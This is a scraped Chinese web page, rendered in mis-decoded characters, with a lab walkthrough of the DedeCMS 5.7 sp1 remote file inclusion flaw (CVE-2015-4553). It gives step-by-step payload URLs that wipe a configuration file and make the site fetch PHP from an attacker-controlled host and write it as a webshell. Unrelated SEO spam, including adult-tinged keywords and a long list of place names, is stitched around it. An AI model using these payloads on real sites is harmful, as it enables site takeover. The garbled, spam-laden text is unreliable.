婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av

主頁(yè) > 知識(shí)庫(kù) > DedeCMS 5.7 sp1遠(yuǎn)程文件包含漏洞(CVE-2015-4553)

DedeCMS 5.7 sp1遠(yuǎn)程文件包含漏洞(CVE-2015-4553)

熱門標(biāo)簽:北京外呼系統(tǒng)咨詢電話 地圖標(biāo)注資源分享注冊(cè) 海南人工外呼系統(tǒng)哪家好 合肥阿里辦理400電話號(hào) 高德地圖標(biāo)注公司位置需要錢嗎 怎么去掉地圖標(biāo)注文字 廊坊地圖標(biāo)注申請(qǐng)入口 襄陽(yáng)外呼增值業(yè)務(wù)線路解決方案 慶陽(yáng)外呼系統(tǒng)定制開(kāi)發(fā)

一、漏洞描述

該漏洞在/install/index.php(index.php.bak)文件中,漏洞起因是$$符號(hào)使用不當(dāng),導(dǎo)致變量覆蓋,以至于最后引起遠(yuǎn)程文件包含漏洞。

二、漏洞影響版本

DeDeCMS 5.7-sp1,包括5.7 sp1版本

三、漏洞環(huán)境搭建

1、下載DeDeCMS V5.7 SP1,然后放到phpstudy環(huán)境下的www目錄下,然后瀏覽器訪http://192.168.10.171/dedecms/uploads/install/index.php

  

2、點(diǎn)擊我已閱讀并繼續(xù)。然后是環(huán)境檢測(cè),保存默認(rèn)即可

  

3、接下來(lái)是參數(shù)配置,需要設(shè)置的只有數(shù)據(jù)庫(kù)密碼,把自己的密碼填上去就行了

  

4、然后就把環(huán)境搭好了

  

四、漏洞復(fù)現(xiàn)

1、查看/install/index.php源碼,發(fā)現(xiàn)存在變量覆蓋漏洞,該代碼的意思是將get,post或者cookie方式傳入的值通過(guò)foreach以鍵值對(duì)的方式輸出,例如在url中輸入?str=hello,則$_k的值就是str,$_v的值就是hello,所以${$_k}就是$str, 后面的RunMagicQuotes函數(shù)在另一個(gè)文件中定義的,大致就是對(duì)參數(shù)進(jìn)行過(guò)濾然后返回參數(shù)內(nèi)容。

  

  

2、嘗試通過(guò)變量覆蓋重裝網(wǎng)站,瀏覽器訪問(wèn)

  

3、變量覆蓋后,直接進(jìn)入安裝界面,但是由于安裝鎖的存在不能繼續(xù)重新安裝,除非刪除安裝鎖http://192.168.10.171/dedecms/uploads/install/index.php?insLockfile=1

  

4、只有變量覆蓋暫時(shí)還不夠,繼續(xù)瀏覽代碼,發(fā)現(xiàn)最后幾行代碼

  

4.1、這段代碼首先包含了/data/admin/config_update.php文件, 這里定義了變量updateHost

文件內(nèi)容如下:

  

4.2、繼續(xù)看373-387行代碼,$updateHost與dedecms/demodata.{$a_lang}.txt拼接為字符串,并利用files_get_contents函數(shù)讀取demodata.{$s_lang}.txt文件內(nèi)容,最后將該文件內(nèi)容寫入到$install_demo_name參數(shù)中。

4.3、因此我們可以結(jié)合上面的變量覆蓋漏洞來(lái)進(jìn)行遠(yuǎn)程文件包含,直接寫webshell。

5、由于$updateHost變量是引入進(jìn)來(lái)的,所以不能直接進(jìn)行覆蓋,需要先將config_update.php文件清空再包含。

5.1、這時(shí)候可以利用fopen函數(shù)來(lái)實(shí)現(xiàn),可以看到fopen中的參數(shù)是w,會(huì)直接重寫文件,而file_get_contents讀取文件失敗會(huì)返回NULL

  

5.2、然后利用fwrite函數(shù),這里可以利用變量覆蓋,將$s_lang隨意取名成不存在的文件名, $install_demo_name指向”../data/admin/config_update.php”,為了程序能夠執(zhí)行到這里,需要將$step設(shè)置為11,這樣就達(dá)到了清空config_update.php的目的。

構(gòu)造payload: http://192.168.10.171/dedecms/uploads/install/index.php?

step=11s_lang=testinstall_demo_name=…/data/admin/config_update.php

瀏覽器訪問(wèn),提示如下

  

5.3、查看代碼,發(fā)現(xiàn)這里有一個(gè)判斷文件是否存在(也就是判斷網(wǎng)站是否安裝)的條件,通過(guò)變量覆蓋漏洞將$insLockfile構(gòu)造成任意不存在的文件就可以繞過(guò)這個(gè)條件的限制

  

5.4、再次構(gòu)造payload:

http://192.168.10.171/dedecms/uploads/install/index.php?step=11s_lang=testinsLockfile=testinstall_demo_name=../data/admin/config_update.php

  

5.5、此時(shí)可以看到config_update.php會(huì)發(fā)現(xiàn)已經(jīng)變?yōu)?kb,空文件

  

5.6、config_update.php文件內(nèi)容被清空之后,這時(shí)我們就可以控制updateHost參數(shù)了,這時(shí)我們就可以開(kāi)始遠(yuǎn)程文件包含上傳我們想要上傳的文件了

5.7、在kali上創(chuàng)建一個(gè)dedecms文件夾,然后創(chuàng)建一個(gè)demodata.gb2312.txt,寫入?php phpinfo();?> ,然后開(kāi)啟web服務(wù)

  

5.8、再次構(gòu)造payload, install_demo_name改為要上傳的路徑,updateHost改為遠(yuǎn)程目標(biāo)機(jī)的IP

Payload如下:

http://192.168.10.171/dedecms/uploads/install/index.php?step=11insLockfile=testinstall_demo_name=../shell.phpupdateHost=http://192.168.10.140/

瀏覽器訪問(wèn),出現(xiàn)界面說(shuō)明寫入成功

  

5.9、查看是否上傳成功,確定上傳成功

  

6、瀏覽器訪問(wèn)上傳的shell.php

  

總結(jié)

以上所述是小編給大家介紹的DedeCMS 5.7 sp1遠(yuǎn)程文件包含漏洞(CVE-2015-4553),希望對(duì)大家有所幫助,如果大家有任何疑問(wèn)請(qǐng)給我留言,小編會(huì)及時(shí)回復(fù)大家的。在此也非常感謝大家對(duì)腳本之家網(wǎng)站的支持!
如果你覺(jué)得本文對(duì)你有幫助,歡迎轉(zhuǎn)載,煩請(qǐng)注明出處,謝謝!

您可能感興趣的文章:
  • Dedecms getip()的漏洞利用代碼
  • dedecms v5.1 WriteBookText() code injection vul注入漏洞

標(biāo)簽:株洲 綿陽(yáng) 平頂山 鎮(zhèn)江 哈密 商丘 臺(tái)州 鶴崗

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《DedeCMS 5.7 sp1遠(yuǎn)程文件包含漏洞(CVE-2015-4553)》,本文關(guān)鍵詞  DedeCMS,5.7,sp1,遠(yuǎn)程,文件,;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問(wèn)題,煩請(qǐng)?zhí)峁┫嚓P(guān)信息告之我們,我們將及時(shí)溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無(wú)關(guān)。
  • 相關(guān)文章
  • 下面列出與本文章《DedeCMS 5.7 sp1遠(yuǎn)程文件包含漏洞(CVE-2015-4553)》相關(guān)的同類信息!
  • 本頁(yè)收集關(guān)于DedeCMS 5.7 sp1遠(yuǎn)程文件包含漏洞(CVE-2015-4553)的相關(guān)信息資訊供網(wǎng)民參考!
  • 推薦文章
    主站蜘蛛池模板: 玛多县| 临沂市| 丁青县| 宁强县| 天水市| 平乡县| 彭水| 南开区| 阳春市| 天水市| 盐津县| 清徐县| 翼城县| 沈阳市| 商南县| 区。| 东乡族自治县| 天水市| 九龙县| 汽车| 扶绥县| 江川县| 泗阳县| 出国| 邵武市| 句容市| 临泉县| 十堰市| 晋中市| 平乐县| 五河县| 长寿区| 蓝田县| 墨脱县| 商城县| 苏尼特右旗| 四川省| 宜黄县| 安康市| 扎囊县| 逊克县|